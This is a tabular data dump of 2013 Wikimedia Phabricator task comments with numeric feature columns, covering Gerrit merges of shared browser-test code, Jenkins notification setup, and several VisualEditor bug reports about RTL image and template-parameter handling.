https://gerrit.wikimedia.org/r/82039",,,1378124036,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,9,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,29.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,5.470588235294118,1.0,"Change 82039 merged by Tobias Gritschacher:
Updated test configuration to the latest version

GERRIT_URL"
251806,Make sure all repositories have the latest version of shared code,"Change 82035 merged by jenkins-bot:
Updated test configuration to the latest version

https://gerrit.wikimedia.org/r/82035",,,1377987180,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.777777777777778,1.0,"Change 82035 merged by jenkins-bot:
Updated test configuration to the latest version

GERRIT_URL"
251796,Make sure all repositories have the latest version of shared code,"Change 82034 merged by jenkins-bot:
Updated test configuration to the latest version

https://gerrit.wikimedia.org/r/82034",,,1377987114,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,17.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,4.777777777777778,1.0,"Change 82034 merged by jenkins-bot:
Updated test configuration to the latest version

GERRIT_URL"
251787,Make sure all repositories have the latest version of shared code,"Change 82033 merged by Cmcmahon:
Removed unused Rake Ruby gem

https://gerrit.wikimedia.org/r/82033",,,1377987032,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.642857142857143,1.0,"Change 82033 merged by Cmcmahon:
Removed unused Rake Ruby gem

GERRIT_URL"
251779,Make sure all repositories have the latest version of shared code,"Change 82032 merged by Cmcmahon:
Removed unused HTML Cucumber formatter

https://gerrit.wikimedia.org/r/82032",,,1377986999,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,43.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,7.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.357142857142857,1.0,"Change 82032 merged by Cmcmahon:
Removed unused HTML Cucumber formatter

GERRIT_URL"
251774,Make sure all repositories have the latest version of shared code,"Change 82039 had a related patch set uploaded by Zfilipin:
Updated test configuration to the latest version

https://gerrit.wikimedia.org/r/82039",,,1377896220,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,4.9523809523809526,1.0,"Change 82039 had a related patch set uploaded by Zfilipin:
Updated test configuration to the latest version

GERRIT_URL"
251767,Make sure all repositories have the latest version of shared code,"Change 82035 had a related patch set uploaded by Zfilipin:
Updated test configuration to the latest version

https://gerrit.wikimedia.org/r/82035",,,1377894902,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,4.9523809523809526,1.0,"Change 82035 had a related patch set uploaded by Zfilipin:
Updated test configuration to the latest version

GERRIT_URL"
251762,Make sure all repositories have the latest version of shared code,"Change 82034 had a related patch set uploaded by Zfilipin:
Updated test configuration to the latest version

https://gerrit.wikimedia.org/r/82034",,,1377894425,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,5.0,0.0,4.9523809523809526,1.0,"Change 82034 had a related patch set uploaded by Zfilipin:
Updated test configuration to the latest version

GERRIT_URL"
251757,Make sure all repositories have the latest version of shared code,"Change 82033 had a related patch set uploaded by Zfilipin:
Removed unused Rake Ruby gem

https://gerrit.wikimedia.org/r/82033",,,1377893822,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.526315789473684,1.0,"Change 82033 had a related patch set uploaded by Zfilipin:
Removed unused Rake Ruby gem

GERRIT_URL"
251751,Make sure all repositories have the latest version of shared code,"Change 82032 had a related patch set uploaded by Zfilipin:
Removed unused HTML Cucumber formatter

https://gerrit.wikimedia.org/r/82032",,,1377893504,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,32.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,5.0,16.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,5.052631578947368,1.0,"Change 82032 had a related patch set uploaded by Zfilipin:
Removed unused HTML Cucumber formatter

GERRIT_URL"
251746,Make sure all repositories have the latest version of shared code,"Change 81929 merged by Cmcmahon:
Updating shared code to the latest version

https://gerrit.wikimedia.org/r/81929",,,1377883705,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,25.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,12.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,4.8125,1.0,"Change 81929 merged by Cmcmahon:
Updating shared code to the latest version

GERRIT_URL"
251740,Make sure all repositories have the latest version of shared code,"Change 81929 had a related patch set uploaded by Zfilipin:
Updating shared code to the latest version

https://gerrit.wikimedia.org/r/81929",,,1377871196,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,19.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,10.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,5.0,0.0,4.666666666666667,1.0,"Change 81929 had a related patch set uploaded by Zfilipin:
Updating shared code to the latest version

GERRIT_URL"
251731,Make sure all repositories have the latest version of shared code,"All repositories:

https://github.com/wikimedia/qa-browsertests
https://github.com/wikimedia/mediawiki-extensions-CirrusSearch
https://github.com/wikimedia/mediawiki-extensions-MobileFrontend
https://github.com/wikimedia/mediawiki-extensions-UniversalLanguageSelector
https://github.com/wikimedia/mediawiki-extensions-VisualEditor
https://github.com/wikimedia/mediawiki-extensions-Wikibase

Files to update:

config/config.yml
config/cucumber.yml
features/support/env.rb
features/support/sauce.rb
Gemfile
Gemfile.lock
README.md",,,1377870317,,PHID-USER-fz7hkyvt4jypl76ieyol,False,,,PHID-TASK-uvse6kpckod47zira6mk,task_subcomment,,True,c1,3,True,,,8,,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,3.847826086956522,0.43478260869565216,"All repositories:

URL
URL
URL
URL
URL
URL

Files to update:

config/config.yml
config/cucumber.yml
features/support/env.rb
features/support/sauce.rb
Gemfile
Gemfile.lock
README.md"
55578,Send e-mail notification to relevant people after jenkins job is completed,"Who gets e-mail notification is documented in jobs.md[1]. At the moment Chris and I get notification for all jobs. Michelle is added for MobileFrontend, Rachel and James for VisualEditor.

Nik Everett should be notified for CirrusSearch, Amir and Niklas for UniversalLanguageSelector.

1: https://github.com/wikimedia/qa-browsertests/blob/master/docs/jobs.md

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377861600,1381417555.0,PHID-USER-fz7hkyvt4jypl76ieyol,False,,False,PHID-TASK-skm7yk65ve7ofcodlrqs,task_description,resolved,True,c1,3,True,False,False,8,,1.0,0.0,0.0,4.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,10.0,0.0,0.0,1.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,4.0,25.0,0.0,4.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,1.0,10.0,18.0,0.0,0.0,0.0,1.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,4.438356164383562,0.6712328767123288,"Who gets e-mail notification is documented in jobs.md[1]. At the moment Chris and I get notification for all jobs. Michelle is added for MobileFrontend, Rachel and James for VisualEditor.

Nik Everett should be notified for CirrusSearch, Amir and Niklas for UniversalLanguageSelector.

1: URL

--------------------------
**Version**: unspecified
**Severity**: normal"
251693,Send e-mail notification to relevant people after jenkins job is completed,"Change 88998 merged by Cmcmahon:
Updated Jobs and documentation who gets e-mail notification when a Jenkins job fails

https://gerrit.wikimedia.org/r/88998",,,1381846904,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-skm7yk65ve7ofcodlrqs,task_subcomment,,True,c1,3,False,,,15,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,25.0,4.0,4.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,21.0,0.0,0.0,0.0,0.0,0.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,4.708333333333333,1.0,"Change 88998 merged by Cmcmahon:
Updated Jobs and documentation who gets e-mail notification when a Jenkins job fails

GERRIT_URL"
251687,Send e-mail notification to relevant people after jenkins job is completed,"Change 88998 had a related patch set uploaded by Zfilipin:
Updated Jobs and documentation who gets e-mail notification when a Jenkins job fails

https://gerrit.wikimedia.org/r/88998",,,1381417453,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-skm7yk65ve7ofcodlrqs,task_subcomment,,True,c1,3,False,,,14,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,21.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,7.0,0.0,21.0,3.0,3.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,17.0,0.0,0.0,0.0,0.0,0.0,7.0,7.0,0.0,0.0,0.0,0.0,0.0,4.620689655172414,0.9655172413793104,"Change 88998 had a related patch set uploaded by Zfilipin:
Updated Jobs and documentation who gets e-mail notification when a Jenkins job fails

GERRIT_URL"
55542,VisualEditor: Images after template are shielded and uneditable in RTL,"I could not replicate this in LTR wikis (en.wiki or MediaWiki.org) but I suspect this is not so much ltr/rtl but floating behavior of the templates and images.

See example here:
https://he.wikipedia.org/wiki/%D7%9E%D7%A9%D7%AA%D7%9E%D7%A9%D7%AA:Mooeypoo/%D7%A2%D7%95%D7%A8%D7%9A_%D7%97%D7%96%D7%95%D7%AA%D7%99/%D7%91%D7%93%D7%99%D7%A7%D7%95%D7%AA_%D7%95%D7%9E%D7%A9%D7%97%D7%A7%D7%99%D7%9D?veaction=edit

The top two images are regular images (not templates) - they are perfectly editable if you remove the template at the top. They got their shielded status after I inserted that template.

Steps to reproduce:
1. Edit a page
2. Insert some image (or more) to top
3. Save page
4. Edit again, insert template ""{{עליות}}"" just above the images. 
5. Save.
6. Edit again. Observe: The images jumped to the left (wrong float side) and are now uneditable. 
7. Interesting fact: Remove the template and save, then go back into the editor and the images are still uneditable.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377795900,1406318164.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-jjwaxnsw7nonpkj5w5ug,task_description,resolved,True,c1,3,False,False,False,8,,1.0,0.0,0.5,0.0,1.5,8.0,2.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,0.0,1.5,0.0,6.5,5.0,0.0,1.0,0.0,0.0,0.0,1.5,0.5,0.0,0.5,0.5,0.0,0.0,3.5,1.5,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,1.5,1.5,1.0,0.0,0.0,0.0,0.0,0.0,13.5,0.5,1.0,0.0,1.5,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.5,0.0,0.5,0.0,0.0,0.0,5.5,2.5,11.0,0.5,4.0,7.5,0.0,0.0,0.0,0.0,7.0,0.0,2.5,0.0,3.5,5.0,2.0,0.0,1.0,0.0,3.5,0.0,0.0,0.5,0.0,0.5,0.5,0.0,2.0,3.5422593279736136,0.6341475984333127,"I could not replicate this in LTR wikis (en.wiki or MediaWiki.org) but I suspect this is not so much ltr/rtl but floating behavior of the templates and images.

See example here:
URL

The top two images are regular images (not templates) - they are perfectly editable if you remove the template at the top. They got their shielded status after I inserted that template.

Steps to reproduce:
1. Edit a page
2. Insert some image (or more) to top
3. Save page
4. Edit again, insert template ""{{עליות}}"" just above the images. 
5. Save.
6. Edit again. Observe: The images jumped to the left (wrong float side) and are now uneditable. 
7. Interesting fact: Remove the template and save, then go back into the editor and the images are still uneditable.

--------------------------
**Version**: unspecified
**Severity**: normal"
249196,VisualEditor: Images after template are shielded and uneditable in RTL,This seems to be fixed now with the change of images and the way we render shields.,,,1406316798,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-jjwaxnsw7nonpkj5w5ug,task_subcomment,,True,c1,3,False,,,55,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,6.0,6.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.7222222222222223,0.9444444444444444,This seems to be fixed now with the change of images and the way we render shields.
249191,VisualEditor: Images after template are shielded and uneditable in RTL,Correction: images jump to the *right* (wrong floating side in RTL wikis) not left. Apparently my sense of directions needs its own bug report.,,,1377796057,,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,,PHID-TASK-jjwaxnsw7nonpkj5w5ug,task_subcomment,,True,c1,3,False,,,8,,0.0,0.0,0.0,0.0,3.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,6.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,3.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,23.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,10.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.870967741935484,0.9354838709677419,Correction: images jump to the *right* (wrong floating side in RTL wikis) not left. Apparently my sense of directions needs its own bug report.
55535,VisualEditor: broken reference tag swaps sections when VEditing,"If you open https://fr.wikipedia.org/w/index.php?title=Anna_Mouglalis&oldid=95468238&veaction=edit you'll notice a weird order of paragraphs. This is due to an extra space in the ref tag for the second reference. VE might probably autocorrect similar situations.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377784560,1377786212.0,PHID-USER-wil4b5lylrvf3krixlkl,True,,False,PHID-TASK-m5whhh35h7fkdpaca77l,task_description,resolved,True,c1,3,False,False,True,8,,0.0,0.0,0.0,0.0,0.0,13.0,2.0,0.0,0.0,2.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,4.0,2.0,0.0,0.0,4.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,6.0,0.0,2.0,0.0,0.0,0.0,15.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,2.0,11.0,2.0,0.0,9.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,9.0,2.0,0.0,0.0,0.0,4.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.074074074074074,0.7592592592592593,"If you open URL you'll notice a weird order of paragraphs. This is due to an extra space in the ref tag for the second reference. VE might probably autocorrect similar situations.

--------------------------
**Version**: unspecified
**Severity**: normal"
248552,VisualEditor: broken reference tag swaps sections when VEditing,"

*** This bug has been marked as a duplicate of bug 52430 ***",,,1377786212,,PHID-USER-slccyo5rqasgpljxny7g,True,,,PHID-TASK-m5whhh35h7fkdpaca77l,task_subcomment,,True,c1,3,True,,,8,,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,2.7777777777777777,0.6666666666666666,"

*** This bug has been marked as a duplicate of bug 52430 ***"
55515,VisualEditor: Parameters in RTL can be duplicated in the transclusion dialog,"To reproduce:

1. Go to this page: https://he.wikipedia.org/wiki/%D7%90%D7%9C%D7%9B%D7%A1%D7%A0%D7%93%D7%A8_%D7%94%D7%92%D7%93%D7%95%D7%9C
2. Edit the infobox at the left side. 
3. Behold! Some parameters appear both at the left panel (used) and also on the right panel (unused). Specific example, look for the parameters ""בן זוג"" and ""בת זוג"" 
4. If you click the parameter ""בת זוג"" for example, on the left side (the used one) you will see data. If you click the one on the right side, it appears with empty textbox as if it's new.
5. Click on the right side (as if to add param again) on ""בת זוג"" 
6. Click again and again -- the parameter will keep being added to the list on the left in duplicates.

And if the page is saved, the parameter is now completely removed.


This has happened specifically in the hewiki but might be related to more than just RTL.

--------------------------
**Version**: unspecified
**Severity**: normal",Needs Triage,90.0,1377741840,1380749912.0,PHID-USER-zq6nzfwxwkyliljd4lfy,False,,False,PHID-TASK-cbkpykct3waf2q7jincj,task_description,declined,True,c1,3,False,False,False,8,,0.3333333333333333,0.0,0.3333333333333333,1.3333333333333333,0.0,5.666666666666667,0.0,0.0,0.0,1.6666666666666667,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.0,3.6666666666666665,9.666666666666666,0.0,0.6666666666666666,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.6666666666666666,0.0,3.0,0.3333333333333333,0.6666666666666666,0.6666666666666666,1.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.0,1.6666666666666667,1.0,0.0,0.0,0.0,0.0,0.0,11.666666666666666,0.3333333333333333,0.3333333333333333,0.0,1.0,0.0,0.0,0.0,0.3333333333333333,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.666666666666667,2.0,6.0,1.6666666666666667,2.0,8.0,0.0,0.0,0.3333333333333333,0.0,3.6666666666666665,0.0,1.3333333333333333,0.0,1.6666666666666667,9.666666666666666,1.3333333333333333,0.0,2.6666666666666665,0.0,1.6666666666666667,0.0,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,1.0,3.3000000000000003,0.6428571428571429,"To reproduce:

1. Go to this page: URL
